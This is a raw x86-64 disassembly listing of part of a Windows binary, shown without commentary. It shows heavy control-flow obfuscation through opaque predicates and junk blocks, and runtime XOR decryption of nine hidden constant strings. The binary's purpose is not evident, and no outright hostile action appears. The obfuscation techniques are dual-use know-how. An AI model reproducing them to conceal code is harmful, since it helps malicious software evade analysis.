div dword [0x141dc2a7c]
mov edi, eax
add edi, 0xe540a733
and edi, 0xaeeb65d8
add edi, 0xf0943a3b
sub rsp, 0x20
lea rcx, [rbp + 0x1d0]
mov rdx, rbx
mov r8, rsi
call fcn.1400f0110
add rsp, 0x20
cmp edi, 0x2ce3b831
jb 0x14001e350
nop dword [rax + rax]
mov eax, dword [0x141dc2a80]
imul eax, dword [0x141dc2a84]
add eax, 0x1cc244ad
or eax, 0x73832687
cmp eax, 0x9d136df3
jb 0x14001e2f0
mov rcx, qword [rbp + 0x1d0]
nop word cs:[rax + rax]
mov eax, dword [0x141dc2a88]
sub eax, dword [0x141dc2a8c]
and eax, 0xc864d6d4
add eax, 0xe641986d
cmp eax, 0x1f8b4abe
jb 0x14001e320
mov rax, qword [rbp + 0x1d8]
mov qword [rbp + 0x268], rax
jmp 0x14001df67
sub rsp, 0x20
lea rcx, [rbp + 0x1d0]
mov rdx, rbx
mov r8, rsi
call fcn.1400f0110
add rsp, 0x20
jmp 0x14001e2a4
mov rax, rbx
sub rax, r15
movabs rcx, 0xaaaaaaaaaaaaaaab
mul rcx
cmp rbx, r15
je 0x14001e3e6
mov rsi, rdx
shr rsi, 5
xor edi, edi
jmp 0x14001e3bc
sub rsp, 0x20
mov rcx, r15
call fcn.14000d4f0
add rsp, 0x20
add r15, 0x30
inc rdi
dec rsi
je 0x14001e3e6
mov eax, dword [0x141dc2a18]
sub eax, dword [0x141dc2a1c]
xor eax, 0xc16032a0
cmp eax, 0x9e37d4e3
jae 0x14001e3a0
sub rsp, 0x20
mov rcx, r15
call fcn.14000d4f0
add rsp, 0x20
jmp 0x14001e3a0
cmp qword [rbp + 0xa8], 0
je 0x14001e40e
mov rcx, qword [0x141ddb260]
sub rsp, 0x20
xor edx, edx
mov r8, qword [rbp + 0xa0]
call qword [sym.imp.KERNEL32.dll_HeapFree]
add rsp, 0x20
mov rdi, qword [rbp + 0x1d8]
mov rbx, qword [rbp + 0x1e8]
test rbx, rbx
sete byte [rbp + 0x27f]
test rdi, rdi
je 0x14001e5c0
test rbx, rbx
je 0x14001e575
mov r14, qword [rbp + 0x1d0]
movdqa xmm0, xmmword [r14]
pmovmskb r15d, xmm0
not r15d
nop dword [rax]
mov eax, dword [0x141dc2a20]
or eax, dword [0x141dc2a24]
imul eax, eax, 0x60da8169
add eax, 0x54d61770
xor eax, 0xada7a676
cmp eax, 0x9bd6640
jb 0x14001e450
lea r12, [r14 + 0x10]
mov r13, qword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x14001e4aa
mov rcx, qword [0x141ddb260]
sub rsp, 0x20
xor edx, edx
mov r8, rsi
call r13
add rsp, 0x20
lea eax, [r15 - 1]
and eax, r15d
mov r15d, eax
dec rbx
je 0x14001e575
test r15w, r15w
jne 0x14001e500
movdqa xmm0, xmmword [r12]
pmovmskb r15d, xmm0
add r14, 0xfffffffffffffe80
add r12, 0x10
cmp r15d, 0xffff
je 0x14001e4b0
nop
mov eax, dword [0x141dc2a28]
add eax, dword [0x141dc2a2c]
imul eax, eax, 0xc0a7eb24
imul rax, rax, 0x2b328211
shr rax, 0x3a
xor eax, 0x1fd47acc
cmp eax, 0xe1a04ff1
jae 0x14001e4d0
not r15d
nop dword [rax]
mov eax, dword [str.78Yr]
add eax, dword [0x141dc2a34]
xor eax, 0x2b3618f9
add eax, 0xade6d7e0
cmp eax, 0xd3c54811
ja 0x14001e500
tzcnt eax, r15d
neg rax
lea rax, [rax + rax*2]
cmp qword [r14 + rax*8 - 0x18], 0
je 0x14001e497
lea rax, [r14 + rax*8]
mov rsi, qword [rax - 0x10]
mov eax, dword [0x141dc2a38]
xor eax, dword [0x141dc2a3c]
add eax, 0xfd3fbb3c
cmp eax, 0xb18f9361
jbe 0x14001e480
mov rcx, qword [0x141ddb260]
sub rsp, 0x20
xor edx, edx
mov r8, rsi
call r13
add rsp, 0x20
jmp 0x14001e480
lea rax, [rdi + 1]
mov ecx, 0x18
mul rcx
add rax, 0xf
and rax, 0xfffffffffffffff0
add rdi, rax
cmp rdi, 0xffffffffffffffef
je 0x14001e5c0
mov r8, qword [rbp + 0x1d0]
sub r8, rax
mov rcx, qword [0x141ddb260]
sub rsp, 0x20
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
add rsp, 0x20
nop word cs:[rax + rax]
mov eax, dword [0x141dc2a40]
or eax, dword [0x141dc2a44]
imul eax, eax, 0x50eb0fdb
cmp eax, 0x5d2e9302
je 0x14001e5c0
nop dword [rax]
mov eax, dword [0x141dc2a48]
xor eax, dword [0x141dc2a4c]
xor eax, 0x8e321002
and eax, 0xce731032
cmp eax, 0x51e2a8e4
jb 0x14001e5e0
mov rcx, qword [rbp + 0xb0]
mov rax, qword [rcx]
sub rsp, 0x20
call qword [rax + 0x10]
add rsp, 0x20
sub rsp, 0x20
lea rdx, [0x141db9b48]
lea r13, [rbp + 0xd0]
mov r8d, 0xa
mov rcx, r13
call fcn.1400deae0
add rsp, 0x20
cmp byte [rbp + 0xd0], 0x12
jne 0x140020f1a
mov rax, qword [rbp + 0xd8]
mov qword [rbp + 0x60], rax
nop
mov eax, dword [0x141dc2ad8]
sub eax, dword [0x141dc2adc]
or eax, 0x20891112
and eax, 0x28891112
cmp eax, 0x1a4eb669
jb 0x14001e650
mov eax, dword [0x141dc2ae0]
xor eax, dword [0x141dc2ae4]
mov ecx, 0xca881731
imul rcx, rax
shr rcx, 0x3e
add ecx, 0x6e57e6e3
cmp ecx, 0xbf88e7c3
ja 0x14001e9db
jmp 0x14001e995
pxor xmm0, xmm0
movdqa xmmword [rbp + 0xd0], xmm0
sub rsp, 0x20
lea rcx, [rbp + 0xd0]
mov edx, 0x10
call qword [sym.imp.bcryptprimitives.dll_ProcessPrng]
add rsp, 0x20
mov rcx, qword [rbp + 0xd0]
mov r8, qword [rbp + 0xd8]
mov r9d, 0x8ce50e87
nop word [rax + rax]
mov eax, dword [0x141dc29f0]
xor edx, edx
div dword [0x141dc29f4]
mov edx, dword [0x141ddb27c]
mov r10, qword gs:[0x58]
mov rdx, qword [r10 + rdx*8]
imul rax, r9
shr rax, 0x3f
add eax, 0x150b6f6d
mov byte [rdx + 0x70], 1
mov qword [rdx + 0x80], r8
cmp eax, 0xe43ff033
jb 0x14001dcbf
mov eax, dword [0x141ddb27c]
mov rdx, qword gs:[0x58]
mov rax, qword [rdx + rax*8]
mov byte [rax + 0x70], 1
mov qword [rax + 0x80], r8
jmp 0x14001e6e0
mov eax, dword [0x141dc2a00]
xor edx, edx
div dword [0x141dc2a04]
add eax, 0x79a18e17
xor eax, 0xe78bd913
cmp eax, 0x8d914c51
jae 0x14001e76b
ud2
ud2
mov eax, 0xa8b71a87
nop word cs:[rax + rax]
mov ecx, dword [0x141dc2a68]
or ecx, dword [0x141dc2a6c]
add ecx, 0x52b654c3
imul rcx, rax
shr rcx, 0x3e
or ecx, 0x3aa161f0
ud2
mov eax, dword [0x141dc2f80]
xor edx, edx
div dword [0x141dc2f84]
mov edi, eax
imul rax, rdi, 0x138f9b05
shr rax, 0x20
sub edi, eax
shr edi, 1
add edi, eax
shr edi, 0x1f
add edi, 0xa1dffe01
lea rax, [0x14008b790]
mov qword [r12 + 8], rax
lea rax, [0x140102e90]
mov qword [rsi], rax
mov qword [rsi + 8], 2
mov qword [rsi + 0x20], 0
mov qword [rsi + 0x10], r12
mov qword [rsi + 0x18], 1
sub rsp, 0x20
mov rcx, rsi
call fcn.14009f0e0
add rsp, 0x20
cmp edi, 0x1d7ce76e
jae 0x14001e8aa
lea rax, [0x14008b790]
mov qword [r12 + 8], rax
lea rax, [0x140102e90]
mov qword [rsi], rax
mov qword [rsi + 8], 2
mov qword [rsi + 0x20], 0
mov qword [rsi + 0x10], r12
mov qword [rsi + 0x18], 1
sub rsp, 0x20
mov rcx, rsi
call fcn.14009f0e0
add rsp, 0x20
jmp 0x14001e7ef
cmp qword [rbp + 8], 0
mov r8, qword [rbp + 0x50]
je 0x14001e8fa
nop word cs:[rax + rax]
mov eax, dword [0x141dc2f88]
xor eax, dword [0x141dc2f8c]
xor eax, 0xf3f71df9
imul eax, eax, 0x3e6cc6d9
add eax, 0xb09c823d
cmp eax, 0xe4b38dd
jb 0x14001e8c0
mov rcx, qword [0x141ddb260]
sub rsp, 0x20
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
add rsp, 0x20
sub rsp, 0x20
mov rcx, qword [rbp]
call fcn.14000f8a0
add rsp, 0x20
nop dword [rax + rax]
mov eax, dword [0x141dc2f90]
xor edx, edx
div dword [0x141dc2f94]
xor eax, 0x94ec91e6
imul eax, eax, 0xd32f0598
add eax, 0xd1674d0
cmp eax, 0xec6dbc6c
ja 0x14001e910
nop word cs:[rax + rax]
mov eax, dword [0x141dc2f98]
or eax, dword [0x141dc2f9c]
and eax, 0x41d22fc0
add eax, 0x192567bf
cmp eax, 0xa9191d5a
ja 0x14001e940
jmp 0x140023422
mov eax, dword [0x141dc2998]
imul eax, dword [0x141dc299c]
add eax, 0xb3aa527d
imul rax, rax, 0x1de68e55
shr rax, 0x35
xor eax, 0x303ee25
ud2
ud2
mov eax, dword [0x141dc2ae8]
sub eax, dword [0x141dc2aec]
imul rax, rax, 0x49d09a6b
shr rax, 0x3d
imul esi, eax, 0xa5f65930
and esi, 0xd998c870
movzx eax, byte [0x141ddb278]
sub rsp, 0x20
mov edx, 0xd8
xor ecx, ecx
call fcn.1400c0180
add rsp, 0x20
cmp esi, 0xaceb3c15
jbe 0x14001e9f8
movzx eax, byte [0x141ddb278]
sub rsp, 0x20
mov edx, 0xd8
xor ecx, ecx
call fcn.1400c0180
add rsp, 0x20
jmp 0x14001e995
mov r12, rax
test rax, rax
je 0x140020e3a
lea rax, [0x141db1121]
mov qword [rbp + 0xd0], rax
mov rcx, qword [rbp + 0xd0]
movabs rax, 0x1aa62311de6753e2
mov qword [rbp + 0xd0], rax
mov rdx, qword [rbp + 0xd0]
sub rsp, 0x20
call fcn.140018720
add rsp, 0x20
mov rsi, qword [rax]
mov rdi, qword [rax + 8]
mov rbx, qword [rax + 0x10]
mov r14, qword [rax + 0x18]
movzx r15d, byte [rax + 0x20]
movzx eax, byte [0x141ddb278]
sub rsp, 0x20
mov edx, 0x21
xor ecx, ecx
call fcn.1400c0180
add rsp, 0x20
test rax, rax
je 0x14001f192
movabs rcx, 0xc555faa31fafb673
movabs r8, 0xb8e3b3571abd91f6
movabs rdx, 0x99e207453a3553c3
movabs r11, 0x4b556e75f853b3c0
mov r9d, dword [0x141dc2b00]
mov r10d, dword [0x141dc2b04]
add r9d, r10d
add r9d, 0x3f9f290d
xor r9d, 0x740ee35d
cmp r9d, 0xe3c8f19f
jbe 0x14001eaf8
mov r9, rsi
xor r9, r8
mov qword [rax], r9
mov r9, rdi
xor r9, rcx
mov qword [rax + 8], r9
mov r9, rbx
xor r9, rdx
mov qword [rax + 0x10], r9
mov r9, r14
xor r9, r11
mov qword [rax + 0x18], r9
mov r9d, r15d
xor r9b, 0x38
mov byte [rax + 0x20], r9b
mov qword [rbp + 0xa8], r12
xor r15b, 0x38
xor rsi, r8
xor rdi, rcx
xor rbx, rdx
xor r14, r11
mov qword [rax], rsi
mov qword [rax + 8], rdi
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], r14
mov qword [rbp + 0x1b0], rax
mov byte [rax + 0x20], r15b
lea rax, [0x141da98af]
mov qword [rbp + 0xd0], rax
mov rcx, qword [rbp + 0xd0]
movabs rax, 0x18df362b9eef8309
mov qword [rbp + 0xd0], rax
mov rdx, qword [rbp + 0xd0]
sub rsp, 0x20
call fcn.140019020
add rsp, 0x20
mov rdi, qword [rax]
mov rbx, qword [rax + 8]
mov rsi, qword [rax + 0x10]
movzx eax, byte [0x141ddb278]
sub rsp, 0x20
mov edx, 0x18
xor ecx, ecx
call fcn.1400c0180
add rsp, 0x20
test rax, rax
je 0x140020ec4
movabs rcx, 0x58a4a10f1b52dc8e
xor rsi, rcx
movabs rcx, 0x238ecb689027d34f
xor rdi, rcx
movabs rcx, 0xe787520a6957539
xor rbx, rcx
mov qword [rax], rdi
mov qword [rax + 8], rbx
mov qword [rbp + 0x1a8], rax
mov qword [rax + 0x10], rsi
lea rax, [0x141db0ad7]
mov qword [rbp + 0xd0], rax
mov rcx, qword [rbp + 0xd0]
movabs rax, 0xe5f98342d6285a21
mov qword [rbp + 0xd0], rax
mov rdx, qword [rbp + 0xd0]
sub rsp, 0x20
call fcn.140018c10
add rsp, 0x20
mov rsi, qword [rax]
mov rdi, qword [rax + 8]
mov rbx, qword [rax + 0x10]
mov r15, qword [rax + 0x18]
movzx r12d, word [rax + 0x20]
movzx r14d, byte [rax + 0x22]
movzx eax, byte [0x141ddb278]
sub rsp, 0x20
mov edx, 0x23
xor ecx, ecx
call fcn.1400c0180
add rsp, 0x20
test rax, rax
je 0x140020f1a
shl r14d, 0x10
or r12d, r14d
mov r14d, r12d
shr r14d, 0x10
xor r14b, 0xf4
mov edx, r12d
shr edx, 8
xor dl, 0xa
xor r12b, 0x3c
movabs rcx, 0x41dc7afdb30c80d6
xor r15, rcx
movabs rcx, 0x61cf02dc56a93119
xor rbx, rcx
movabs rcx, 0x6755d812e4d7bb81
xor rdi, rcx
movabs rcx, 0x769b8c2e4422b878
xor rsi, rcx
mov qword [rax], rsi
mov ecx, dword [0x141dc2b10]
add ecx, dword [0x141dc2b14]
movabs r8, 0xcf7fd1b26766d6fe
imul ecx, ecx, 0xbaef3254
or ecx, 0x99f3717d
cmp ecx, 0xe1dd885f
jbe 0x14001ecf5
mov qword [rax + 8], rdi
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], r15
mov byte [rax + 0x20], r12b
mov byte [rax + 0x21], dl
mov byte [rax + 0x22], r14b
lea rcx, [0x141db029a]
mov qword [rbp + 0x1d0], rcx
lea rcx, [rbp + 0x1d0]
mov qword [rbp + 0xd0], r8
lea r9, [0x141db029a]
lea r11, [rbp + 0x1d0]
nop word cs:[rax + rax]
mov r10d, dword [0x141dc2b18]
add r10d, dword [0x141dc2b1c]
or r10d, 0x95b8c72d
add r10d, 0x51771e90
mov qword [rax + 8], rdi
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], r15
mov byte [rax + 0x20], r12b
mov byte [rax + 0x21], dl
mov byte [rax + 0x22], r14b
mov qword [rbp + 0x1d0], r9
mov rcx, qword [rbp + 0x1d0]
mov qword [rbp + 0xd0], r8
cmp r10d, 0xde18e076
ja 0x14001ed10
mov qword [rbp + 0x260], rax
mov rdx, qword [rbp + 0xd0]
sub rsp, 0x20
call fcn.140018250
add rsp, 0x20
mov r14, qword [rax]
mov rbx, qword [rax + 8]
mov edi, dword [rax + 0x10]
movzx esi, word [rax + 0x14]
movzx eax, byte [0x141ddb278]
sub rsp, 0x20
mov edx, 0x16
xor ecx, ecx
call fcn.1400c0180
add rsp, 0x20
test rax, rax
je 0x140020f1a
mov r15, rax
mov eax, esi
shr eax, 8
xor al, 0x6b
xor sil, 0x9a
xor edi, 0x2c7e60eb
movabs rcx, 0x3bea48f17edcc1a5
xor rbx, rcx
movabs rcx, 0x248c1265d77fbad7
xor r14, rcx
mov qword [r15], r14
mov qword [r15 + 8], rbx
mov dword [r15 + 0x10], edi
mov byte [r15 + 0x14], sil
mov byte [r15 + 0x15], al
lea rax, [0x141db3ccc]
mov qword [rbp + 0xd0], rax
mov rcx, qword [rbp + 0xd0]
movabs rax, 0xa5467b565817a88d
mov qword [rbp + 0xd0], rax
mov rdx, qword [rbp + 0xd0]
sub rsp, 0x20
call fcn.140019dc0
add rsp, 0x20
mov rsi, qword [rax]
mov rdi, qword [rax + 8]
mov rbx, qword [rax + 0x10]
mov r14, qword [rax + 0x18]
movzx eax, byte [0x141ddb278]
sub rsp, 0x20
mov edx, 0x20
xor ecx, ecx
call fcn.1400c0180
add rsp, 0x20
test rax, rax
je 0x140020ef9
mov qword [rbp + 0xa0], r15
movabs rdx, 0xddef675c26542d24
movabs rcx, 0xb30939af6e080738
movabs r11, 0x6c589f3c6aac093d
movabs r9, 0x52076ed2119b041e
movabs r8, 0x2c88e1ff13aee591
mov r10d, dword [0x141dc2b30]
sub r10d, dword [0x141dc2b34]
imul r10d, r10d, 0x1bda5811
cmp r10d, 0xf5f6093d
jne 0x14001eeef
mov r10, rsi
xor r10, rcx
mov qword [rax], r10
mov r10, rdi
xor r10, r8
mov qword [rax + 8], r10
mov r10, rbx
xor r10, rdx
mov qword [rax + 0x10], r10
mov r10, r14
xor r10, r9
mov qword [rax + 0x18], r10
lea r10, [0x141da7cc7]
mov qword [rbp + 0xd0], r10
mov qword [rbp + 0xd0], r11
xor r14, r9
xor rbx, rdx
xor rdi, r8
xor rsi, rcx
mov qword [rax], rsi
mov qword [rax + 8], rdi
mov qword [rax + 0x10], rbx
mov qword [rbp + 0x78], rax
mov qword [rax + 0x18], r14
lea rcx, [0x141da7cc7]
mov qword [rbp + 0xd0], rcx
mov rcx, qword [rbp + 0xd0]
mov qword [rbp + 0xd0], r11
mov rdx, qword [rbp + 0xd0]
sub rsp, 0x20
call fcn.140018eb0
add rsp, 0x20
mov r15, qword [rax]
mov r14, qword [rax + 8]
mov rbx, qword [rax + 0x10]
mov edi, dword [rax + 0x18]
movzx esi, word [rax + 0x1c]
movzx r12d, byte [rax + 0x1e]
movzx eax, byte [0x141ddb278]
sub rsp, 0x20
mov edx, 0x1f
xor ecx, ecx
call fcn.1400c0180
add rsp, 0x20
test rax, rax
je 0x140020f1a
shl r12d, 0x10
or esi, r12d
mov r8d, esi
shr r8d, 0x10
xor r8b, 0xf1
mov ecx, esi
shr ecx, 8
xor cl, 0x97
xor sil, 0x35
xor edi, 0x7d92d63f
movabs rdx, 0x5ce374e06fa0b477
xor rbx, rdx
movabs rdx, 0xa05c538181284305
xor r14, rdx
movabs rdx, 0xe5e5d8da0f3ca662
xor r15, rdx
mov qword [rax], r15
mov qword [rax + 8], r14
mov qword [rax + 0x10], rbx
mov dword [rax + 0x18], edi
mov byte [rax + 0x1c], sil
mov byte [rax + 0x1d], cl
mov qword [rbp + 0x1c8], rax
mov byte [rax + 0x1e], r8b
lea rax, [0x141db0524]
mov qword [rbp + 0xd0], rax
mov rcx, qword [rbp + 0xd0]
movabs rax, 0x350cd65ad7c552e3
mov qword [rbp + 0xd0], rax
mov rdx, qword [rbp + 0xd0]
sub rsp, 0x20
call fcn.14001a190
add rsp, 0x20
mov r14, qword [rax]
mov rbx, qword [rax + 8]
mov rdi, qword [rax + 0x10]
mov rsi, qword [rax + 0x18]
movzx eax, byte [0x141ddb278]
sub rsp, 0x20
mov edx, 0x20
xor ecx, ecx
call fcn.1400c0180
add rsp, 0x20
nop dword [rax + rax]
mov ecx, dword [0x141dc2b38]
or ecx, dword [0x141dc2b3c]
and ecx, 0x52f7eba3
add ecx, 0x278c5d9d
cmp ecx, 0x6d82c9fb
jb 0x14001f050
test rax, rax
je 0x140020f1a
movabs rcx, 0xec61b6186c600319
xor rsi, rcx
movabs rcx, 0x34d0b5017ceec360
xor rdi, rcx
movabs rcx, 0x30bfe9a5b6805736
xor rbx, rcx
movabs rcx, 0xf3210060a1efa6f8
xor r14, rcx
mov qword [rax], r14
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rdi
mov qword [rbp + 0x1b8], rax
mov qword [rax + 0x18], rsi
lea rax, [0x141db2e66]
mov qword [rbp + 0xd0], rax
movabs r14, 0xdd9f4446d57f8bd0
nop dword [rax + rax]
mov eax, dword [0x141dc2b40]
sub eax, dword [0x141dc2b44]
or eax, 0xdd80c8c9
imul rax, rax, 0x6ec67b71
shr rax, 0x3c
imul r15d, eax, 0x3caa57f1
mov rcx, qword [rbp + 0xd0]
mov qword [rbp + 0xd0], r14
mov rdx, qword [rbp + 0xd0]
sub rsp, 0x20
call fcn.140018420
add rsp, 0x20
mov rsi, qword [rax]
mov rdi, qword [rax + 8]
mov rbx, qword [rax + 0x10]
mov rcx, qword [rax + 0x18]
movzx edx, word [rax + 0x20]
movzx eax, byte [0x141ddb278]
cmp r15d, 0x3c9ce156
jae 0x14001f1e2
mov rcx, qword [rbp + 0xd0]
mov qword [rbp + 0xd0], r14
mov rdx, qword [rbp + 0xd0]
sub rsp, 0x20
call fcn.140018420
add rsp, 0x20
mov rcx, qword [rax]
mov rcx, qword [rax + 8]
mov rcx, qword [rax + 0x10]
mov rcx, qword [rax + 0x18]
movzx eax, word [rax + 0x20]
movzx eax, byte [0x141ddb278]
jmp 0x14001f0e0
mov eax, dword [0x141dc2af0]
and eax, dword [0x141dc2af4]
xor eax, 0xed90f241
add eax, 0x1ac42523
ud2
mov r15d, edx
mov r13, rcx
nop dword [rax + rax]
mov eax, dword [0x141dc2b48]
add eax, dword [0x141dc2b4c]
imul r14d, eax, 0x6789993e
add r14d, 0xc024ca00
and r14d, 0x1de7a37a
sub rsp, 0x20
mov edx, 0x22
xor ecx, ecx
call fcn.1400c0180
add rsp, 0x20
cmp r14d, 0x11627e53
jb 0x14001f1f0
test rax, rax
mov qword [rbp + 0x258], r13
je 0x140020f1a
mov r13d, r15d
mov r14d, r15d
shr r14d, 8
xor r14b, 0xe4
xor r13b, 0x3c
movabs rcx, 0x69592385a5d30595
xor rsi, rcx
movabs rcx, 0x579b6acce81d0731
xor rdi, rcx
movabs rcx, 0xb967bf03629c020d
xor rbx, rcx
movabs rcx, 0x8e66bf789e78f040
xor qword [rbp + 0x258], rcx
mov qword [rax], rsi
mov qword [rax + 8], rdi
mov qword [rax + 0x10], rbx
movabs r12, 0xc90af1440f2faed5
lea rdi, [rbp + 0xd0]
mov r15, rax
mov dword [rbp + 0x270], r14d
nop
mov esi, dword [0x141dc2b50]
xor esi, dword [0x141dc2b54]
or esi, 0x54abfba2
add esi, 0x61cc058d
mov rax, qword [rbp + 0x258]
mov qword [r15 + 0x18], rax
mov byte [r15 + 0x20], r13b
mov byte [r15 + 0x21], r14b
lea rax, [0x141da710d]
mov qword [rbp + 0xd0], rax
mov rcx, qword [rbp + 0xd0]
mov qword [rbp + 0xd0], r12
mov rdx, qword [rbp + 0xd0]
sub rsp, 0x20
call fcn.140019670
add rsp, 0x20
mov rcx, qword [rax]
mov qword [rbp + 0x268], rcx
mov r14, qword [rax + 8]
mov ebx, r13d
mov r13, qword [rax + 0x10]
mov r12d, dword [rax + 0x18]
movzx edi, byte [rax + 0x1c]
movzx eax, byte [0x141ddb278]
sub rsp, 0x20
mov edx, 0x1d
xor ecx, ecx
call fcn.1400c0180
add rsp, 0x20
cmp esi, 0x4a870e28
jae 0x14001f3df
mov rax, qword [rbp + 0x258]
mov qword [r15 + 0x18], rax
mov byte [r15 + 0x20], bl
mov r14d, dword [rbp + 0x270]
mov byte [r15 + 0x21], r14b
lea rax, [0x141da710d]
mov qword [rbp + 0xd0], rax
lea rdi, [rbp + 0xd0]
mov rcx, qword [rbp + 0xd0]
movabs r12, 0xc90af1440f2faed5
mov qword [rbp + 0xd0], r12
mov rdx, qword [rbp + 0xd0]
sub rsp, 0x20
call fcn.140019670
add rsp, 0x20
mov rcx, qword [rax]
mov rcx, qword [rax + 8]
mov rcx, qword [rax + 0x10]
mov ecx, dword [rax + 0x18]
movzx eax, byte [rax + 0x1c]
movzx eax, byte [0x141ddb278]
sub rsp, 0x20
mov edx, 0x1d
xor ecx, ecx
call fcn.1400c0180
add rsp, 0x20
mov r13d, ebx
jmp 0x14001f2b0
mov byte [rbp + 0x258], dil
mov rbx, qword [rbp + 0x268]
test rax, rax
je 0x140020f1a
mov ecx, r12d
movabs r8, 0x6ec9d88f3628e07c
mov r9d, dword [0x141dc2b58]
imul r9d, dword [0x141dc2b5c]
imul r9d, r9d, 0x41b4f5db
cmp r9d, 0xa6700b11
mov r10, qword [rbp + 0xa8]
mov r11, qword [rbp + 0x1b0]
mov rsi, qword [rbp + 0x1a8]
mov rdi, qword [rbp + 0xa0]
mov r12, qword [rbp + 0x78]
jne 0x14001f588
mov r9, rbx
movabs r8, 0xd5405059d663aea2
xor r9, r8
movabs r8, 0x6ec9d88f3628e07c
mov qword [rax], r9
mov r9, r14
xor r9, r8
mov qword [rax + 8], r9
mov r9, r13
movabs rdx, 0x657fd4eeeda5e03
xor r9, rdx
mov qword [rax + 0x10], r9
mov r9d, ecx
xor r9d, 0xc6367791
mov dword [rax + 0x18], r9d
movzx r9d, byte [rbp + 0x258]
xor r9b, 0x93
mov byte [rax + 0x1c], r9b
mov qword [r10], 0x21
mov qword [r10 + 8], r11
mov qword [r10 + 0x10], 0x21
mov qword [r10 + 0x18], 0x18
mov qword [r10 + 0x20], rsi
mov qword [r10 + 0x28], 0x18
mov qword [r10 + 0x30], 0x23
mov r9, qword [rbp + 0x260]
mov qword [r10 + 0x38], r9
mov qword [r10 + 0x40], 0x23
mov qword [r10 + 0x48], 0x16
mov qword [r10 + 0x50], rdi
mov qword [r10 + 0x58], 0x16
mov qword [r10 + 0x60], 0x20
mov qword [r10 + 0x68], r12
mov qword [r10 + 0x70], 0x20
mov qword [r10 + 0x78], 0x1f
mov r9, qword [rbp + 0x1c8]
mov qword [r10 + 0x80], r9
mov qword [r10 + 0x88], 0x1f
mov qword [r10 + 0x90], 0x20
mov r9, qword [rbp + 0x1b8]
mov qword [r10 + 0x98], r9
mov qword [r10 + 0xa0], 0x20
mov qword [r10 + 0xa8], 0x22
mov qword [r10 + 0xb0], r15
mov qword [r10 + 0xb8], 0x22
mov qword [r10 + 0xc0], 0x1d
mov qword [r10 + 0xc8], rax
mov qword [r10 + 0xd0], 0x1d
movabs r9, 0x657fd4eeeda5e03
xor r13, r9
xor r14, r8
movabs r8, 0xd5405059d663aea2
xor rbx, r8
mov qword [rax], rbx
mov qword [rax + 8], r14
mov qword [rax + 0x10], r13
xor ecx, 0xc6367791
mov dword [rax + 0x18], ecx
movzx edx, byte [rbp + 0x258]
xor dl, 0x93
mov byte [rax + 0x1c], dl
mov qword [r10], 0x21
mov qword [r10 + 8], r11
mov qword [r10 + 0x10], 0x21
mov qword [r10 + 0x18], 0x18
mov qword [r10 + 0x20], rsi
mov qword [r10 + 0x28], 0x18
mov qword [r10 + 0x30], 0x23
mov rcx, qword [rbp + 0x260]
mov qword [r10 + 0x38], rcx
mov qword [r10 + 0x40], 0x23
mov qword [r10 + 0x48], 0x16
mov qword [r10 + 0x50], rdi
mov qword [r10 + 0x58], 0x16
mov qword [r10 + 0x60], 0x20
mov qword [r10 + 0x68], r12
mov qword [r10 + 0x70], 0x20
mov qword [r10 + 0x78], 0x1f
mov rcx, qword [rbp + 0x1c8]
mov qword [r10 + 0x80], rcx
mov qword [r10 + 0x88], 0x1f
mov qword [r10 + 0x90], 0x20
mov rcx, qword [rbp + 0x1b8]
mov qword [r10 + 0x98], rcx
mov qword [r10 + 0xa0], 0x20
mov qword [r10 + 0xa8], 0x22
mov qword [r10 + 0xb0], r15
mov qword [r10 + 0xb8], 0x22
mov qword [r10 + 0xc0], 0x1d
mov qword [r10 + 0xc8], rax
mov qword [r10 + 0xd0], 0x1d
nop
mov eax, dword [0x141dc2b60]
imul eax, dword [0x141dc2b64]
add eax, 0x27d0a353
or eax, 0x395a2c18
xor eax, 0x19e8cf26
cmp eax, 0x4ad4617
jb 0x14001f6b0
xor r15d, r15d
mov r12, qword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x14001f701
sub rsp, 0x20
mov rcx, rdi
xor edx, edx
mov r8, qword [rbp + 0x1c8]
call r12
add rsp, 0x20
cmp r15, 9
je 0x1400209fa
lea rax, [r15 + r15*2]
inc r15
mov rdx, qword [rbp + 0xa8]
mov r8, qword [rdx + rax*8]
movabs rcx, 0x8000000000000000
mov qword [rbp + 0x1b0], r8
cmp r8, rcx
je 0x1400208cf
lea rax, [rdx + rax*8]
nop word cs:[rax + rax]
mov ecx, dword [0x141dc2bb8]
and ecx, dword [0x141dc2bbc]
imul rcx, rcx, 0x776bfaa5
shr rcx, 0x3a
xor ecx, 0x5f2253ce
add ecx, 0xf2a0e714
cmp ecx, 0xa29ed870
ja 0x14001f740
lea rsi, [0x140102e24]
nop word cs:[rax + rax]
mov ecx, dword [0x141dc2bc0]
or ecx, dword [0x141dc2bc4]
imul ecx, ecx, 0x57a3d5ad
add ecx, 0x552e5885
cmp ecx, 0x20ba6d46
jb 0x14001f780
mov rbx, qword [rax + 0x10]
test rbx, rbx
js 0x140020d50
mov rcx, qword [rax + 8]
nop word cs:[rax + rax]
mov eax, dword [0x141dc2bc8]
xor eax, dword [0x141dc2bcc]
imul rax, rax, 0x10f23217
shr rax, 0x3c
xor eax, 0x3fa69fad
add eax, 0xc663930d
cmp eax, 0x9fc418a7
ja 0x14001f7c0
nop dword [rax + rax]
mov eax, dword [0x141dc2bd0]
add eax, dword [0x141dc2bd4]
or eax, 0x80020020
and eax, 0x800b0822
cmp eax, 0x1abe6ada
jb 0x14001f7f0
test rbx, rbx
mov qword [rbp + 0x1c8], rcx
je 0x14001f880
mov eax, dword [0x141dc2bd8]
mov ecx, dword [0x141dc2bdc]
add eax, ecx
add eax, 0xcf4c2e9d
and eax, 0x5134015f
imul eax, eax, 0xe205f7f1
cmp eax, 0x2bba5978
jae 0x14001f857
movzx eax, byte [0x141ddb278]
sub rsp, 0x20
xor ecx, ecx
mov rdx, rbx
call fcn.1400c0180
add rsp, 0x20
movzx eax, byte [0x141ddb278]
sub rsp, 0x20
xor ecx, ecx
mov rdx, rbx
call fcn.1400c0180
add rsp, 0x20
test rax, rax
je 0x140020d50
mov r14, rax
jmp 0x14001f886
mov r14d, 1
mov qword [rbp + 0x1b8], r15
mov eax, dword [0x141dc2bf0]
mov ecx, dword [0x141dc2bf4]
add eax, ecx
add eax, 0xb6339423
or eax, 0x56da6dc
